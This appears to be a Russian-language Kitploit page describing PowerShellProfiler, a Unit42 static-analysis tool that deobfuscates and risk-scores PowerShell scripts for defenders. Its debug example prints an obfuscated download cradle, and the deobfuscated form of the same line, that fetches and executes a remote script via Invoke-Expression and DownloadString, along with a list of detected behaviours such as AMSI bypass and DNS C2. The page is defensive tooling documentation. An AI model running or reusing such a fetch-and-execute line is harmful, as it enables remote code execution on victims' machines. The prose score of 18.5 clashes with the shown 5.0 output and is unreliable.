Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PowerShellProfiler — PowerShellProfiler | Kitploit
Инструменты/GitHubGitHub/al1ex/powershellprofiler
Static AnalysisCode AnalysisReverse EngineeringForensicsMalware Analysis
GitHubal1ex/powershellprofiler

PowerShellProfiler

PowerShellProfiler

Репозиторий
25 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PowerShellProfiler

Код этого проекта взят из https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler

Введение

PowerShellProfiler.py — это скрипт для статического анализа PowerShell-скриптов: он деобфусцирует и нормализует содержимое, а затем профилирует его на предмет поведенческих индикаторов. Эти поведения оцениваются, а совокупная оценка даёт возможный уровень риска для PowerShell-скрипта. Инструмент был создан, чтобы продемонстрировать практический способ массового анализа PowerShell-скриптов и помочь синим командам, предложив ещё один инструмент для ускорения анализа.

В серии блогов Unit42 — "Practical Behavioral Profiling of PowerShell Scripts through Static Analysis" рассматриваются концепция, дизайн, а также плюсы и минусы такого подхода к статическому профилированию поведений в PowerShell-скриптах.

root@kitploit:~
usage: PowerShellProfiler.py [-h] -f <file_name> [-d]

PowerShellProfiler analyzes PowerShell scripts statically to identify and
score behaviors.

optional arguments:
  -h, --help            show this help message and exit
  -f <file_name>, --file <file_name>
                        PowerShell Script to behaviorally profile
  -d, --debug           Enables debug output

Результат вывода

Стандартное использование довольно простое. Достаточно использовать флаг "-f", чтобы передать имя файла (PowerShell-скрипт, экспорт журнала ScriptBlock, текстовый файл и т.д.), и скрипт PowerShellProfiler.py выведет результаты.

root@kitploit:~
C:\Users\Al1ex\Desktop\PowerShellProfiler>python3 PowerShellProfiler.py -f C:\Users\Al1ex\Desktop\Powershell\1.ps1
C:\Users\Al1ex\Desktop\Powershell\1.ps1 , 5.0 , Mild Risk , 0:00:00.008002 , [Downloader - 1.5 | Script Execution - 1.5 | One Liner - 2.0]

standard

Вывод разделён запятыми и использует следующие поля:

root@kitploit:~
File Name , Profiling Score , Proposed Risk Level , Analysis Runtime , Behaviors (pipe-delimited)

В данном случае файл "1.ps1" был идентифицирован как имеющий характеристики/поведения, которые предполагают, что скрипт способен загружать содержимое, запускать процесс, выполнять дополнительный код скрипта, использовать сжатие, собирать некую системную информацию; весь скрипт помещается в одну строку, и в нём есть паттерны, соответствующие известному семейству вредоносного ПО "Veil". Эти поведения оцениваются по отдельности и в сумме дают 18,5, что попадает в диапазон самого высокого риска.

Кроме того, существует режим "debug" с флагом "-d", который полезен для устранения неполадок при неудачном декодировании/деобфускации, длительном времени выполнения, анализа декодированного содержимого на предмет новых поведений и в целом для более подробного вывода.

root@kitploit:~
C:\Users\Al1ex\Desktop\PowerShellProfiler>python3 PowerShellProfiler.py -d -f C:\Users\Al1ex\Desktop\Powershell\1.ps1
Opened File C:\Users\Al1ex\Desktop\Powershell\1.ps1
[+] Normalization Function
        [!] Format Replaced - True: 0:00:00.000997
        [!] Format Replaced - True: 0:00:00
[+] Normalization Function
[+] Normalization Function


##### TIMING / MATCH #####

Main Processing: 0:00:00.003988
Family ID: 0:00:00.001995
Behavior Check - Code Injection: 0:00:00
Behavior Check - Key Logging: 0:00:00
Behavior Check - Screen Scraping: 0:00:00
Behavior Check - AppLocker Bypass: 0:00:00
Behavior Check - AMSI Bypass: 0:00:00
Behavior Check - Clear Logs: 0:00:00
Behavior Check - Coin Miner: 0:00:00
Behavior Check - Embedded File: 0:00:00
Behavior Check - Abnormal Size: 0:00:00
Behavior Check - Ransomware: 0:00:00
Behavior Check - DNS C2: 0:00:00
Behavior Check - Disabled Protections: 0:00:00
Behavior Check - Negative Context: 0:00:00
['DownloadString']
Behavior Check - Downloader: 0:00:00
Behavior Check - Starts Process: 0:00:00
['Invoke-Expression']
Behavior Check - Script Execution: 0:00:00
Behavior Check - Compression: 0:00:00
Behavior Check - Hidden Window: 0:00:00
Behavior Check - Custom Web Fields: 0:00:00
Behavior Check - Persistence: 0:00:00
Behavior Check - Sleeps: 0:00:00
Behavior Check - Uninstalls Apps: 0:00:00
Behavior Check - Obfuscation: 0:00:00
Behavior Check - Crypto: 0:00:00
Behavior Check - Enumeration: 0:00:00
Behavior Check - Registry: 0:00:00
Behavior Check - Sends Data: 0:00:00
Behavior Check - Byte Usage: 0:00:00
Behavior Check - SysInternals: 0:00:00
Behavior Check - One Liner: 0:00:00
Behavior Check - Variable Extension: 0:00:00
Behavior Check - Script Logging: 0:00:00
Behavior Check - License: 0:00:00
Behavior Check - Function Body: 0:00:00
Behavior Check - Positive Context: 0:00:00
Behavior ID: 0:00:00.010971
C:\Users\Al1ex\Desktop\Powershell\1.ps1 , 5.0 , Mild Risk , 0:00:00.018915 , [Downloader - 1.5 | Script Execution - 1.5 | One Liner - 2.0]


##### ORIGINAL SCRIPT #####

.("{4}{1}{0}{2}{3}" -f 'Express','-','io','n','Invoke') (&("{2}{0}{3}{1}"-f 'e','-Object','N','w') System.Net.WebClient).DownloadString("http://127.0.0.1:4444/Al1ex.txt")

##### ALTERED SCRIPT #####

."Invoke-Expression" (&"New-Object" System.Net.WebClient).DownloadString("http://127.0.0.1:4444/Al1ex.txt")

C:\Users\Al1ex\Desktop\PowerShellProfiler>

debug

Скачать инструмент